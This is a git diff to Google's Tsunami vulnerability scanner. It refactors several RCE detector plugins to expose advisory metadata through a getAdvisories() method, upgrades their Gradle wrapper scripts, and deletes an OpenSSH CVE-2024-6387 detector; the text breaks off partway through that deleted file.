a/google/detectors/rce/cve202121972/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetectorTest.java b/google/detectors/rce/cve202121972/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetectorTest.java index f6148fe89..478aa481a 100644 --- a/google/detectors/rce/cve202121972/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetectorTest.java +++ b/google/detectors/rce/cve202121972/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202121972/VcenterUploadOvaDetectorTest.java @@ -171,12 +171,13 @@ public void detect_whenApiEndpointReturnsInternalErrorWithUploadFileResp_reports .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2021_21972")) - .setSeverity(Severity.CRITICAL) - .setTitle("vCenter OVA Upload RCE") + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("CVE_2021_21972")) + .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-21972")) + .setSeverity(Severity.CRITICAL) + .setTitle("vCenter OVA Upload RCE") .setDescription( "The vSphere Client (HTML5) contains a remote code execution" + " vulnerability in a vCenter Server plugin. A malicious actor" diff --git a/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve202141773/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve202141773/gradlew b/google/detectors/rce/cve202141773/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve202141773/gradlew +++ b/google/detectors/rce/cve202141773/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve202141773/gradlew.bat b/google/detectors/rce/cve202141773/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve202141773/gradlew.bat +++ b/google/detectors/rce/cve202141773/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java b/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java index 75862cb82..ac233d474 100644 --- a/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java +++ b/google/detectors/rce/cve202141773/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayload.java @@ -76,6 +76,38 @@ public final class Cve202141773DetectorWithPayload implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2021_41773")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-41773")) + .setTitle("Apache RCE Vulnerability CVE-2021-41773") + .setDescription( + "This version of Apache is vulnerable to a Remote Code Execution " + + "vulnerability described in CVE-2021-41773. The attacker has the user " + + "permissions of the Apache process. For more information see " + + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773") + .setRecommendation("Update to 2.4.51 release.") + .addAdditionalDetails( + AdditionalDetail.newBuilder() + .setTextData( + TextData.newBuilder() + .setText( + "This detector checks only for the RCE vulnerability described in" + + " the CVE-2021-41773 and not for the path traversal described" + + " in the same CVE. If CGI is enabled on Apache in a" + + " vulnerable version the path traversal is not detected" + + " anymore by common detectors. In this case this detector" + + " finds the RCE. The detector can be tested with the" + + " following docker containers " + + "https://github.com/BlueTeamSteve/CVE-2021-41773"))) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -140,29 +172,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2021_41773")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache RCE Vulnerability CVE-2021-41773") - .setDescription("This version of Apache is vulnerable to a Remote Code Execution " - + "vulnerability described in CVE-2021-41773. The attacker has the user " - + "permissions of the Apache process. For more information see " - + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773") - .setRecommendation("Update to 2.4.51 release.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder().setText("This detector checks only for the RCE " - + "vulnerability described in the CVE-2021-41773 and not for the path " - + "traversal described in the same CVE. If CGI is enabled on Apache in " - + "a vulnerable version the path traversal is not detected anymore by " - + "common detectors. In this case this detector finds the RCE. The " - + "detector can be tested with the following docker containers " - + "https://github.com/BlueTeamSteve/CVE-2021-41773")))) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve202141773/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayloadTest.java b/google/detectors/rce/cve202141773/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayloadTest.java index 46fcf4c93..1b3079905 100644 --- a/google/detectors/rce/cve202141773/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayloadTest.java +++ b/google/detectors/rce/cve202141773/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202141773/Cve202141773DetectorWithPayloadTest.java @@ -27,16 +27,11 @@ import com.google.tsunami.common.time.testing.FakeUtcClockModule; import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.proto.AdditionalDetail; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -113,7 +108,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - assertThat(detectionReports.getDetectionReportsList()) + assertThat(detectionReports.getDetectionReportsList()) .containsExactly( DetectionReport.newBuilder() .setTargetInfo(targetInfo) @@ -121,30 +116,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2021_41773")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache RCE Vulnerability CVE-2021-41773") - .setDescription("This version of Apache is vulnerable to a Remote Code " - + "Execution vulnerability described in CVE-2021-41773. The attacker has the " - + "user permissions of the Apache process. For more information see " - + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773") - .setRecommendation("Update to 2.4.51 release.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder().setText("This detector checks only for the " - + "RCE vulnerability described in the CVE-2021-41773 and not for " - + "the path traversal described in the same CVE. If CGI is enabled " - + "on Apache in a vulnerable version the path traversal is not " - + "detected anymore by common detectors. In this case this " - + "detector finds the RCE. The detector can be tested with the " - + "following docker containers " - + "https://github.com/BlueTeamSteve/CVE-2021-41773")))) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -203,30 +175,7 @@ public void detect_withoutCallbackServer_onVulnerableTarget_returnsVulnerability .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2021_41773")) - .setSeverity(Severity.CRITICAL) - .setTitle("Apache RCE Vulnerability CVE-2021-41773") - .setDescription("This version of Apache is vulnerable to a Remote Code " - + "Execution vulnerability described in CVE-2021-41773. The attacker has the " - + "user permissions of the Apache process. For more information see " - + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773") - .setRecommendation("Update to 2.4.51 release.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder().setText("This detector checks only for the " - + "RCE vulnerability described in the CVE-2021-41773 and not for " - + "the path traversal described in the same CVE. If CGI is enabled " - + "on Apache in a vulnerable version the path traversal is not " - + "detected anymore by common detectors. In this case this " - + "detector finds the RCE. The detector can be tested with the " - + "following docker containers " - + "https://github.com/BlueTeamSteve/CVE-2021-41773")))) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/rce/cve202342793/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve202342793/gradlew b/google/detectors/rce/cve202342793/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/rce/cve202342793/gradlew +++ b/google/detectors/rce/cve202342793/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve202342793/gradlew.bat b/google/detectors/rce/cve202342793/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/rce/cve202342793/gradlew.bat +++ b/google/detectors/rce/cve202342793/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/rce/cve202342793/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetector.java b/google/detectors/rce/cve202342793/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetector.java index 9e5d7b284..13ce3e14b 100644 --- a/google/detectors/rce/cve202342793/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetector.java +++ b/google/detectors/rce/cve202342793/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetector.java @@ -103,6 +103,21 @@ public final class TeamCityAuthBypassDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2023_42793")) + .setSeverity(Severity.CRITICAL) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-42793")) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULN_DESCRIPTION) + .setRecommendation(RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -216,14 +231,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("CVE_2023_42793")) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve202342793/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetectorTest.java b/google/detectors/rce/cve202342793/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetectorTest.java index 0cf0ca4b3..4d659ff7d 100644 --- a/google/detectors/rce/cve202342793/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetectorTest.java +++ b/google/detectors/rce/cve202342793/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202342793/TeamCityAuthBypassDetectorTest.java @@ -18,9 +18,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.rce.cve202342793.TeamCityAuthBypassDetector.RECOMMENDATION; -import static com.google.tsunami.plugins.detectors.rce.cve202342793.TeamCityAuthBypassDetector.VULNERABILITY_REPORT_TITLE; -import static com.google.tsunami.plugins.detectors.rce.cve202342793.TeamCityAuthBypassDetector.VULN_DESCRIPTION; import com.google.common.collect.ImmutableList; import com.google.inject.Guice; @@ -36,11 +33,8 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -157,16 +151,7 @@ public void detect_whenVulnerable_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("CVE_2023_42793")) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULN_DESCRIPTION) - .setRecommendation(RECOMMENDATION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/rce/cve202432113/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202432113/Cve202432113Detector.java b/google/detectors/rce/cve202432113/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202432113/Cve202432113Detector.java index 53f21d9a0..e6a93c53f 100644 --- a/google/detectors/rce/cve202432113/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202432113/Cve202432113Detector.java +++ b/google/detectors/rce/cve202432113/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202432113/Cve202432113Detector.java @@ -74,6 +74,23 @@ public final class Cve202432113Detector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher(VULNERABILITY_REPORT_PUBLISHER) + .setValue(VULNERABILITY_REPORT_ID)) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue(VULNERABILITY_REPORT_ID)) + .setSeverity(Severity.CRITICAL) + .setTitle(VULNERABILITY_REPORT_TITLE) + .setDescription(VULNERABILITY_REPORT_DESCRIPTION) + .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -149,20 +166,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(utcClock.instant().toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .addRelatedId( - VulnerabilityId.newBuilder() - .setPublisher("CVE") - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(Severity.CRITICAL) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/rce/cve20246387/README.md b/google/detectors/rce/cve20246387/README.md deleted file mode 100644 index ea86013e6..000000000 --- a/google/detectors/rce/cve20246387/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# OpenSSH CVE-2024-6387 RCE Detector - -This detector checks for [CVE-2024-6387](https://nvd.nist.gov/vuln/detail/CVE-2024-6387), -vulnerability in OpenSSH. - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.jar b/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.jar deleted file mode 100644 index 2c3521197..000000000 Binary files a/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.jar and /dev/null differ diff --git a/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.properties b/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.properties deleted file mode 100644 index d04736436..000000000 --- a/google/detectors/rce/cve20246387/gradle/wrapper/gradle-wrapper.properties +++ /dev/null @@ -1,7 +0,0 @@ -distributionBase=GRADLE_USER_HOME -distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip -networkTimeout=10000 -validateDistributionUrl=true -zipStoreBase=GRADLE_USER_HOME -zipStorePath=wrapper/dists diff --git a/google/detectors/rce/cve20246387/settings.gradle b/google/detectors/rce/cve20246387/settings.gradle deleted file mode 100644 index 971695695..000000000 --- a/google/detectors/rce/cve20246387/settings.gradle +++ /dev/null @@ -1 +0,0 @@ -rootProject.name = 'openssh_cve_2024_6387_detector' diff --git a/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387Detector.java b/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387Detector.java deleted file mode 100644 index cc2d21510..000000000 --- a/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387Detector.java +++ /dev/null @@ -1,166 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce.cve20246387; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.proto.AdditionalDetail; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.time.Clock; -import javax.inject.Inject; - -/** A {@link VulnDetector} that detects CVE-2024-6387. */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "Cve20246387Detector", - version = "0.1", - description = "Detects CVE-2024-6387.", - author = "Tsunami Team 